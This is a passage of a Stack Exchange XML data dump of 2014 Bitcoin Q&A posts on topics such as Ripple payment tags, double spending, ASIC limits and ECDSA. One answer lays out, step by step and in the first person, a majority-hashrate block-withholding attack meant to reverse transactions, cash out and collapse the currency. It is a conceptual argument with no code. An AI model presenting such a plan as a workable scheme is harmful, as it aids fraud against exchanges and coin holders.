rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/commit/73aa262647ff9948eaf95e83236ec323347e95d0&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Needless to say, if somebody when this version was first released&#xA;  actually wrote such a scriptSig and stole some coins, that would have&#xA;  caused a chain split between old and new versions. Nobody did because,&#xA;  why bother? I'm not even sure Mt Gox existed back then, iirc that came&#xA;  some months later. Many script opcodes were disabled around this time&#xA;  (which is also a hard-forking change).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13925" LastActivityDate="2014-05-09T15:47:51.227" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25228" PostTypeId="1" CreationDate="2014-05-09T15:56:04.267" Score="5" ViewCount="402" Body="&lt;p&gt;What protects the stability of Bitcoin's value if supercomputers or some other technological breakthrough allows them to be mined at rates we have not anticipated?&lt;/p&gt;&#xA;" OwnerUserId="15699" LastEditorUserId="5406" LastEditDate="2016-03-31T16:21:13.737" LastActivityDate="2018-09-27T19:28:31.790" Title="Bitcoin value vs. Supercomputing" Tags="|security|difficulty|hashpower|mining-theory|value|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25230" PostTypeId="2" ParentId="25228" CreationDate="2014-05-09T16:06:44.590" Score="4" Body="&lt;p&gt;The system is protected by an incentive mechanism. As Satoshi said &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_white_paper#Incentive&quot; rel=&quot;nofollow&quot;&gt;in the paper itself&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;He ought to find it more profitable to play by the rules, such rules&#xA;  that favour him with more new coins than everyone else combined, than&#xA;  to undermine the system and the validity of his own wealth.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This means that if someone has access to a supercomputer, more powerful than the entire network combined, it would make more sense for them to use such computer to mine in a honest way and earn more reward than any other miner. Rather than actually use the power to do dishonest things, like to double-spend or to invalidate transactions, &lt;strong&gt;which would diminish the network's validity and therefore the value of the attacker's mining reward&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if such computers are ever built, many people would want them, which would eventually redistribute the power. In that sense, ASICs could be considered tiny supercomputers.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-05-09T16:23:45.503" LastActivityDate="2014-05-09T16:23:45.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25232" PostTypeId="1" AcceptedAnswerId="25234" CreationDate="2014-05-09T17:15:28.627" Score="0" ViewCount="130" Body="&lt;p&gt;I know how to code in C++, but I don't know really how all mining system works.&#xA;I have my altcoin, and I would like to block reward blocks to miners which are not authentified (something by private key or Wallet Address).&#xA;I would let miners generate blocks and coins, but I don't want them they get it, all coins mined for nothing would be sent to a master wallet or be lost forever. But, if a miner has generated coins and he is authentificated and authorized to generate coin, he would get them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To put it simple, I just want to block coin generation ability to everyone.&#xA;I've thought I could just stop them to run a thread for mining, but they could modify the client and start it.&#xA;So I was wondering how can I can do that, I've read the code about CheckWork, ProcessBlock, etc...&#xA;But I can't understand it fully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks from advance for your help.&lt;/p&gt;&#xA;" OwnerUserId="15702" LastEditorUserId="5406" LastEditDate="2016-04-25T19:53:21.963" LastActivityDate="2016-04-25T19:53:21.963" Title="How can I limit the mining to specifics miners authentified by private key or something like that?" Tags="|block|altcoin|mining-reward|altcoin-development|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25233" PostTypeId="2" ParentId="25228" CreationDate="2014-05-09T18:48:50.830" Score="1" Body="&lt;p&gt;Actually, there is a limit of difficulty growth. It is 4x.&#xA;Therefore it is possible, but highly unlikely, that one connects machine so powerfull, that diffuculty won't &quot;catch up&quot;, with the increased hashrate. This being said, block will be generated more often than 10 minutes, it is possible that block will be generated every second, adding 25 BTC to the network any second. This will more likely crash the BTC/USD price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a second thing: Luca Matteis is wrong. He has stated &quot;it would make more sense for them to use such computer to mine in a honest way and earn more reward than any other miner&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's consider following scenario:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Assumptions&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;bitcoin still exists&lt;/li&gt;&#xA;&lt;li&gt;bitcoin is worth 442 USD a piece&lt;/li&gt;&#xA;&lt;li&gt;Current network hashrate is 64 PHps&lt;/li&gt;&#xA;&lt;li&gt;I have 128 PHps on my own (twice the btc network speed).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step one:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use my awesome hashrate to generate the coins for a 14 days (timespan between difficulty increase). There is 2016 blocks to mine, each awards 25 BTC (tx fee is ommited). It means, there are &lt;em&gt;50 400&lt;/em&gt; coins (22 276 800 USD) to be generated. I have 2/3 of total network power, so I get 2/3 of the reward, this means, I have $14 851 200. A &lt;em&gt;lot&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step two:&lt;/strong&gt;&#xA;Diffuculty increases 2x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step three:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am swithing to solo mine. No txs are included in my blocks. None, whatsoever. I do not publish my blocks.&#xA;Meantime, I am sending those 50 400 to exchanges, shops, casinos, hookers, etc. I am cashing out my money - nearly 15 000 00 USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step four:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After &lt;em&gt;two months&lt;/em&gt; of such behavior, we had 4 difficulty changes. Bitcoin network does not know about this yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step fifth:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am releasing the Kraken^H^H^H^H^H^H Blocks I have held hostage! &#xA;All transactions from past 2.5 months has been invalidated! &#xA;Since nobody else worked on my blocks, I have at least:&#xA; 25200 + 12600 + 6300 + 3150 = 47250 BTC on my own blocks.&#xA;Moreover! Because the past 2.5 month are erased, my coins mined in first step (33 600 BTC) are &lt;strong&gt;back in my possession!&lt;/strong&gt; So, I have 80 850 BTC in total. &#xA;I am cashing them out &lt;em&gt;NOW!&lt;/em&gt; on multiple exchanges, and request payout immediatelly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This is the part I have killed bitcoin, btw.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTC is deep. But I have just sold bitcoins worth $35 735 700.&#xA;Moreover, it will be pretty obvious, that BTC has been &gt;51%ed. Nobody will trust the BTC anymore, major exchanges will crash, price will hit &lt;strong&gt;$ZERO&lt;/strong&gt;. I have $35M. I can live with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusion:&lt;/strong&gt;&#xA;Currently, difficulty rises so high, that my &gt;51% rigs will not be worth enough in the next 2.5 months to keep being honest. Satoshi didn't expect ASICs. It is more viable for me to crash BTC in 2.5 months, than to mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Actual answer to your question:&lt;/strong&gt;&#xA;Nothing protects the stability of bitcoin's value if supercomputers or some other technological breakthrough allows them to be mined at rates we have not anticipated.&lt;/p&gt;&#xA;" OwnerUserId="9563" LastActivityDate="2014-05-09T18:48:50.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25234" PostTypeId="2" ParentId="25232" CreationDate="2014-05-09T18:59:35.103" Score="1" Body="&lt;p&gt;I'm not sure I see &lt;em&gt;why&lt;/em&gt; you'd want to do it (increased centralization, likely decreased anonymization, and decreased mining incentive are generally considered bad things), but here's how I think I would do it, in general terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have one (or more) master public keys hardcoded into the app. Have a special type of transaction that must be signed by a master's private key that authorizes an address to mine. Only blocks that have a reward, with the reward paid to an authorized address are considered valid. The address-authorization could exist in the same block that it's mined in, or any prior block in the chain.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(optionally) Allow blocks with no reward.&lt;/li&gt;&#xA;&lt;li&gt;(optionally) Have another special type of transaction that authorizes&#xA;a new master key, to try to ensure that you won't be left without&#xA;valid masters in the future.   &lt;/li&gt;&#xA;&lt;li&gt;(optionally) Make the authorization limited by time and/or number of&#xA;successfully mined blocks, so that it must be renewed periodically.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-05-09T19:19:21.130" LastActivityDate="2014-05-09T19:19:21.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25235" PostTypeId="1" CreationDate="2014-05-09T19:15:49.727" Score="2" ViewCount="3088" Body="&lt;p&gt;I'm integrating Ripple with a commerce system, to accept payments to a Ripple wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is that the destination_tag, an integer, is the only data I can use to track a transaction.  I can specify the destination_tag when I send the user to their wallet, and it will be tracked in the ledger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I'm correct this is the only parameter, I'm worried about conflicting destination tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I correct that if a wallet is being used with my system, it can't be used with any other, as they might use the same destination tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a user of my system specifies their ripple account (wallet), am I expected to query the ledger for all past transactions to that wallet and, if any, throw an error that the same wallet can't be used with two payment systems?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to store not only the account id, but also the ledger sequence when my system learned the account id, so that I only search for transaction ids after that ledger sequence?&lt;/p&gt;&#xA;" OwnerUserId="13218" LastActivityDate="2014-05-11T10:53:34.643" Title="destination_tag best practices when integrating Ripple" Tags="|ripple|ripple-api|" AnswerCount="2" CommentCount="4" ClosedDate="2021-01-21T22:57:57.560" ContentLicense="CC BY-SA 3.0" />
  <row Id="25236" PostTypeId="1" AcceptedAnswerId="25237" CreationDate="2014-05-09T19:39:32.427" Score="2" ViewCount="137" Body="&lt;p&gt;In tackling double spending, does the protocol enforces that only the first transaction (and by first i mean the first transaction to be send to the network) is considered as valid ? &lt;/p&gt;&#xA;" OwnerUserId="14876" LastActivityDate="2014-05-09T19:56:20.220" Title="Double spending race attack first transaction" Tags="|doublespend|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25237" PostTypeId="2" ParentId="25236" CreationDate="2014-05-09T19:56:20.220" Score="3" Body="&lt;p&gt;No, not really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, there is no clear way for everyone to agree on which was the first transaction to be sent to the network.  If the attacker was to send two conflicting transactions (call them A and B) to different nodes almost simultaneously, then depending on how the propagate, some nodes might see A first, and others B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the Bitcoin Core reference client, if it receives A first and later receives B, it will ignore B and will not relay B to its peers.  This hampers a double-spend attack somewhat.  But if a client later receives a mined block that contains the transaction B, it will accept it in place of A.  And a miner has total freedom which of the two transactions to include in a block.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-05-09T19:56:20.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25239" PostTypeId="1" CreationDate="2014-05-09T21:09:07.817" Score="1" ViewCount="126" Body="&lt;p&gt;It was super cool to discover so many alt coins have cloned the Bitcoin Wallet Android app, however I noticed that the phone started running unusally hot after installing all the coin apps, even when I hadn't opened any since device boot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After booting my phone (it had been off for a few hours and was cool to the touch) I found that it was running hot after a few minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I  opened the app manager and found that the following coins were running:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vertcoin (Beta)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Execoin (Beta)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Einsteinium&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I remember reading an article about apps that use your phone to steal hashes. &lt;a href=&quot;http://www.dailymail.co.uk/sciencetech/article-2613612/Has-battery-life-Android-phone-got-worse-Researchers-warn-rogue-apps-secretly-bitcoin-background.html&quot; rel=&quot;nofollow&quot;&gt;http://www.dailymail.co.uk/sciencetech/article-2613612/Has-battery-life-Android-phone-got-worse-Researchers-warn-rogue-apps-secretly-bitcoin-background.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if these apps (or any other wallet apps) have any malicious/devious code?&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-05-09T21:09:07.817" Title="Altcoin apps stealing hashes?" Tags="|android|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25240" PostTypeId="1" CreationDate="2014-05-10T02:26:25.733" Score="3" ViewCount="633" Body="&lt;p&gt;My assumption is that ASIC miners optimize for the &quot;hashes per joule&quot; metric, as did GPU miners over CPU miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would seem that after some time, the decision to mine Bitcoins would be based on if you could source energy cheaply enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When do we reach that point?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not a hardware guy so I'm curious to understand what the upperbound limits are of ASIC mining from a technical perspective. How much more can we optimize?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15708" LastEditorUserId="5406" LastEditDate="2016-04-10T10:31:40.887" LastActivityDate="2016-04-10T10:31:40.887" Title="What are the limits of ASIC Mining?" Tags="|mining-hardware|energy-consumption|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25242" PostTypeId="2" ParentId="25235" CreationDate="2014-05-10T06:03:13.640" Score="1" Body="&lt;p&gt;I will make my answer a little longer than necesary and mention some things you obviously already know in the hopes that the expanded answer will be useful to others as well:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The destination tag should be something that allows the receiving account to perform things like implement &quot;for further credit to...&quot; or to determine which invoice (or other event) a transaction corresponds to without knowing the payer's Ripple address &lt;em&gt;before&lt;/em&gt; the payment is made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, it's only meaningful for the &lt;em&gt;receiving&lt;/em&gt; wallet. When someone wants to pay using Ripple, you would tell them something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Send payment to&#xA;  &lt;a href=&quot;https://ripple.com/wiki/Accounts#Black_Hole_Addresses&quot; rel=&quot;nofollow&quot;&gt;rrrrrrrrrrrrrrrrrrrrBZbvji&lt;/a&gt;&#xA;  and use destination tag &lt;strong&gt;1313426242&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In other words, the destination tag is something that &lt;em&gt;you&lt;/em&gt; must create and give to the user, who will then use it when making the payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how to choose a destination tag? Well, there are many ways. Here are a few options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Just give out an incrementing number, so the first transaction gets tag 1, the second tag 2, etc.&lt;/li&gt;&#xA;&lt;li&gt;Use the invoice number generated by the commerce system you are integrating with. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can read more destination tags and requiring them at the &lt;a href=&quot;https://ripple.com/wiki/Require_a_destination_tag_for_inbound_payments&quot; rel=&quot;nofollow&quot;&gt;Ripple Wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now, your question is what to do about conflicting destination tags. Obviously if you're the only one generating tags for a wallet, then you don't have to worry about that - simply don't generate conflicting tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My personal recommendation is to require/mandate that a vendor create a new  Ripple wallet, to be used exclusively by your system. This is certainly not unrealistic. In fact, &lt;em&gt;it's a good idea&lt;/em&gt;™.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-05-10T06:03:13.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25243" PostTypeId="2" ParentId="23217" CreationDate="2014-05-10T06:48:42.407" Score="0" Body="&lt;p&gt;Last year, Bitcoin was declared to be a form of barter in Canada--not a currency. I suspect it has something to do with the MintChip, which was supposed to launch in February 2013.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CaVirtEx is Canada's largest Bitcoin Exchange, and is proactive when it comes to regulations. (ie. they go beyond the bare minimum). CaVirtEx would be my first choice for accepting Bitcoin in Canada.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand barter &amp;amp; taxes in Canada, taxes are owed on the value of the bartered item, so there really isn't much difference when it comes to sales tax &amp;amp; GST/HST.&lt;/p&gt;&#xA;" OwnerUserId="15710" LastActivityDate="2014-05-10T06:48:42.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25244" PostTypeId="2" ParentId="16687" CreationDate="2014-05-10T12:07:59.363" Score="15" Body="&lt;p&gt;As long as you're in good communication with the network and have a hashrate measured in something better than minutes per hash, yes, you technically do have a chance of successfully mining a block, even if your hashrate is tiny compared to the whole network. Then the question is, what are your chances and should you do it? I think an analogy with a lottery is apt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In one week, &lt;a href=&quot;http://www.powerball.com/powerball/pb_prizes.asp&quot;&gt;a lottery&lt;/a&gt; might cost you $2 (for one ticket) and give you a 1 in 175 million chance to win $100 million (ignoring smaller prizes, splitting prizes, etc.; complicates things too much). This gives it a return on investment (ROI) of about &lt;strong&gt;29%&lt;/strong&gt;, so we'll treat this as our baseline: if it's lower than this, it's worse than the lottery and you shouldn't &quot;play&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you buy a $34.52, 5 GH/s &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B00JCABMSI&quot;&gt;ASIC miner&lt;/a&gt; that uses 2.5W of power, you &lt;a href=&quot;http://www.bitcoinx.com/profit/&quot;&gt;might spend about&lt;/a&gt; $0.06 in a week to have a 1 in 13,889 chance to win $11,349. Not counting the upfront investment, this is a 1,361% ROI, so it's worth it. If you factor in the cost of the device (split over a year) and a profitability decline (since the rest of the network will be speeding up), I think you're still looking at an &lt;strong&gt;~80%&lt;/strong&gt; ROI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In one week of CPU mining (assuming &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot;&gt;20 MH/s&lt;/a&gt; at 70 W), you might spend $1.75 in power to have a 1 in 3,472,222 chance to win $11,349. This is a &lt;strong&gt;0.18%&lt;/strong&gt; ROI, so CPU mining really makes no sense, even as a lottery (it'd be better to just buy a lottery ticket).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(my calculations are at &lt;a href=&quot;http://pastebin.com/ERJHshFG&quot;&gt;http://pastebin.com/ERJHshFG&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-05-10T12:07:59.363" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="25246" PostTypeId="2" ParentId="24451" CreationDate="2014-05-10T14:14:09.753" Score="3" Body="&lt;p&gt;If you call &lt;code&gt;getnewaddress&lt;/code&gt; 100 times (via RPC for bitcoind, in the debug console for Bitcoin-Qt), the key pool is flushed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, you can request one more new address and send all your funds there.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-05-10T14:14:09.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25247" PostTypeId="2" ParentId="24451" CreationDate="2014-05-10T14:20:27.703" Score="2" Body="&lt;p&gt;What I ended up doing was more or less what Pieter Wuille suggests: write a small shell script to call &lt;code&gt;bitcoind getrawchangeaddress&lt;/code&gt; more than 100 times.  (Using &lt;code&gt;getnewaddress&lt;/code&gt; would have cluttered my list of receiving addresses.)  &lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-05-10T14:20:27.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25248" PostTypeId="2" ParentId="25201" CreationDate="2014-05-10T16:05:52.717" Score="0" Body="&lt;p&gt;An idea would be to sponsor open source project that help the open source community and their infrastructure. In this case, they could help Bitcoin related open source projects that help the Bitcoin infrastructure.&lt;/p&gt;&#xA;" OwnerUserId="9591" LastActivityDate="2014-05-10T16:05:52.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25250" PostTypeId="2" ParentId="25217" CreationDate="2014-05-10T18:16:54.933" Score="1" Body="&lt;p&gt;Use the &lt;em&gt;addmultisigaddress nrequired [&quot;key&quot;,...] ( &quot;account&quot; )&lt;/em&gt; JSON-RPC command in order to create a p2sh address that will be considered your own.&lt;/p&gt;&#xA;" OwnerUserId="15715" LastActivityDate="2014-05-10T18:16:54.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25251" PostTypeId="2" ParentId="3614" CreationDate="2014-05-10T19:12:18.737" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://bitalo.com/&quot; rel=&quot;nofollow&quot;&gt;Bitalo.com&lt;/a&gt; is a person-to-person exchange much like &lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;LocalBitcoins&lt;/a&gt; and &lt;a href=&quot;https://www.bitcoin.de/&quot; rel=&quot;nofollow&quot;&gt;bitcoin.de&lt;/a&gt;. SEPA transfers are recommended for making the fiat payment. Bitcoins are kept in multi-signature wallets, and time-lock escrow is used during the trade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The multi-signature solution is similar to the &lt;a href=&quot;https://greenaddress.it/g&quot; rel=&quot;nofollow&quot;&gt;GreenAddress.it&lt;/a&gt; and &lt;a href=&quot;http://bitgo.com/&quot; rel=&quot;nofollow&quot;&gt;BitGo&lt;/a&gt; wallets – the service doesn't hold the user's private key and isn't capable of taking the user's funds.&lt;/p&gt;&#xA;" OwnerUserId="214" LastActivityDate="2014-05-10T19:12:18.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25252" PostTypeId="1" CreationDate="2014-05-10T19:38:05.357" Score="0" ViewCount="530" Body="&lt;p&gt;I have posted a similar question recently, but not this specific.  I have found that a lot may ride on the idea of &quot;point multiplication&quot; yet all explanations I have found lack explanation or are in code that not everyone (especially myself) can decipher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Supposedly you &quot;add point G to itself k times&quot;. Most examples of point addition or point multiplication show multiple x,y coordinates in the same equation but in this situation, I only have an integer to apply to the equation.  Secondarily, many equations that show this also show that you do something such as &quot;Qy - Py&quot; (aka: Q's y-value minus P's y-value).  This is a problem if the only x,y value I'm working with is Q.  If I subtract Q's y-value from Q's y-value I get zero, thereby nullifying the value of the equation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the criteria for the correct answer to this question are as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It is explained such that anyone who has mathematical experience less than Calculus can at least stumble through it by cutting, pasting, and using a basic calculator that can handle exceedingly large numbers,&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Programming experience/understanding is not needed (code can be used but must not require pre-understanding/experience thereof by anyone reading it),&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Must show or enable people to show themselves how a K value of 18E14A7B6A307F426A94F8114701E7C8E774E7F9A47E2C2035DB29A206321725, and a Gx value of 79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798 and a Gy value of 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 equals x and y values of 36422191471907241029883925342251831624200921388586025344128047678873736520530 and 20277110887056303803699431755396003735040374760118964734768299847012543114150.  (Note: whether the answer is in Hex or Decimal is not significant as converters are readily available on many websites), &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Criteria 4 is applicable such that the point multiplication is truly applicable to the question (IE:  that I have asked the proper question in the proper manner).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Whomever meets criteria 1 through 4 must also post their Bitcoin address to permit a donation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I know this seems complicated and perhaps odd (what with me adding actual answer criteria when I'm essentially a beggar) but I want to be clear such that others who read my post and may be wondering the same thing have a better chance of understanding what I'm asking and the answer.  I also want to filter out, as best I can, answers which don't truly answer the question (as I have seen too many of them on this forum and others).  I am not promising any particular amount of bounty but if someone meets all these criteria I will be sufficiently grateful that I would feel guilty if I failed to provide them with some value.  If your answer to my question meets the criteria, please do not hesitate to leave address for alt-coins you may have as well.&lt;/p&gt;&#xA;" OwnerUserId="15552" LastEditorUserId="15552" LastEditDate="2014-05-11T10:08:41.590" LastActivityDate="2014-05-11T10:08:41.590" Title="How do you do point multiplication in bitcoin associated with the ecdsa algorithm?" Tags="|private-key|ecdsa|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="25254" PostTypeId="1" AcceptedAnswerId="25259" CreationDate="2014-05-11T02:22:25.280" Score="10" ViewCount="733" Body="&lt;p&gt;The &quot;reference client&quot; bitcoin-qt receives a lot of complaints from developers on the messy way it was coded.  It seems to require a big overhead to learn, and a lot of time is being spent on modularizing it.  Yet we have other implementations (bitcoinj, libbitcoin, etc)  that are already modular, and coded in a much clearer way.  Considering these facts, why wouldn't the developers switch their active development to one of these codebases?&lt;/p&gt;&#xA;" OwnerUserId="5427" LastActivityDate="2015-11-28T17:36:29.400" Title="Why don't developers switch from bitcoin-qt to a cleaner implementation?" Tags="|bitcoin-core|client|development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25256" PostTypeId="2" ParentId="3272" CreationDate="2014-05-11T02:55:17.040" Score="-1" Body="&lt;p&gt;www.cryptsy.com, www.mintpal.com, www.coinmkt.com&lt;/p&gt;&#xA;" OwnerUserId="15719" LastActivityDate="2014-05-11T02:55:17.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25257" PostTypeId="2" ParentId="25254" CreationDate="2014-05-11T09:47:31.723" Score="8" Body="&lt;p&gt;There are two Bitcoin softwares that should be differentiated: (i) the &lt;strong&gt;client&lt;/strong&gt; software that everyone uses and (ii) the full Bitcoin &lt;strong&gt;node&lt;/strong&gt; used by the miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regards to implementations, there are a variety of different clients. Just look at MultiBit, Electrum, Armory, Hive etc. Many are implemented using different programming languages and libraries. For example MultiBit uses the bitcoinj library, while others use something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then there's the &lt;em&gt;nodes&lt;/em&gt; which is what the miners use. This is a vastly different scenario from the client software because essentially the only player in town is the official Bitcoin software, Bitcoin Core (also called bitcoind or Bitcoin-QT).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The important difference is that if there's a bug in a &lt;em&gt;client&lt;/em&gt; implementation, this won't effect the integrity of the network. It might lose you some coins or do other weird things with your money, but the Bitcoin network will still function. However, if there's a bug in the software being used by the miners (bitcoind, a full-node) then funny and unpredictable things may happen, because they're the ones securing and reaching consensus over the state of the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why variety of implementations for nodes isn't that easy. Because even the slightest change of code could trigger unwanted behavior that could jeopardize the validity of the network, such as a fork in the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; I'd like to clarify that nodes aren't only used by miners. In fact anybody can run a full-node and this should be incentivized because, as Pieter in the comments said, it allows you to independently verify the validity of the network.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-05-11T10:24:30.470" LastActivityDate="2014-05-11T10:24:30.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25258" PostTypeId="2" ParentId="25235" CreationDate="2014-05-11T10:53:34.643" Score="1" Body="&lt;p&gt;I'm assuming you're only trying to accept incoming payments. And I'm assuming that each payment refers to a specific transaction that you already know about. So, basically, you just need to tell others how to pay you. You shouldn't need any Ripple-specific information from them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, you'll need to tell them the Ripple account you want them to make the payment to. And you'll find the payment because you'll be watching for payments to your own account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem is this -- when you get a payment, how do you know who paid you and why? And the answer is this simple -- every time you ask someone to pay you, give them a new destination tag. When you receive a payment, check the destination tag in your database, and then you'll know who paid you and why.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-05-11T10:53:34.643" CommentCount="7" 